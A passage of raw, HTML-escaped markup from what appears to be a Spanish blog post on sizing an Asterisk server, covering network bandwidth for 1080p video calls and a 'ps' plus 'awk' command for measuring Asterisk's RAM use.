data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{162}&quot; paraid=&quot;1039058537&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{166}&quot; paraid=&quot;187001273&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;Si nos ponemos en el “peor” de los casos con H264 a 1080p y partiendo de la base de que las tarjetas de red son en general de 1Gbps.&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{166}&quot; paraid=&quot;187001273&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{172}&quot; paraid=&quot;722251046&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-style: italic; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;1 Gbps=1000 Mbps&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{178}&quot; paraid=&quot;1765569308&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-style: italic; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;1000 &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;M&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;bps /&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; 6Mbps = 166 videollamadas simultáneas&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{178}&quot; paraid=&quot;1765569308&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{190}&quot; paraid=&quot;911653291&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{194}&quot; paraid=&quot;1719479887&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;span class=&quot;TextRun Underlined SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 23.7417px; margin: 0px; padding: 0px; text-decoration-line: underline; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Cálculo de RAM&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; Asterisk&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 23.7417px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{204}&quot; paraid=&quot;627123801&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;El cálculo de RAM es algo tan sencillo como ejecutar el siguiente comando:&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{210}&quot; paraid=&quot;558478177&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: black; color: windowtext; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #d1d1d1; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;ylC&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; asterisk &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #e34adc; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #d1d1d1; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;awk&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #00c4c4; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;‘&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;{x += $&lt;/span&gt;&lt;span class=&quot;NormalTextRun ContextualSpellingAndGrammarErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlContextualSpellingAndGrammarErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjNweCIgdmlld0JveD0iMCAwIDUgMyIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTUuMiAoNzgxODEpIC0gaHR0cHM6Ly9za2V0Y2hhcHAuY29tIC0tPgogICAgPHRpdGxlPmdyYW1tYXJfZG91YmxlX2xpbmU8L3RpdGxlPgogICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+CiAgICA8ZyBpZD0iZ3JhbW1hcl9kb3VibGVfbGluZSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIj4KICAgICAgICA8ZyBpZD0iR3JhbW1hci1UaWxlLUNvcHkiIHN0cm9rZT0iIzMzNTVGRiI+CiAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDAuNSBMNSwwLjUiIGlkPSJMaW5lLTItQ29weS0xMCI+PC9wYXRoPgogICAgICAgICAgICA8cGF0aCBkPSJNMCwyLjUgTDUsMi41IiBpZD0iTGluZS0yLUNvcHktMTEiPjwvcGF0aD4KICAgICAgICA8L2c+CiAgICA8L2c+Cjwvc3ZnPg==&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;8;y&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; += 1} END {print &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;“&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Memoria total &lt;/span&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, 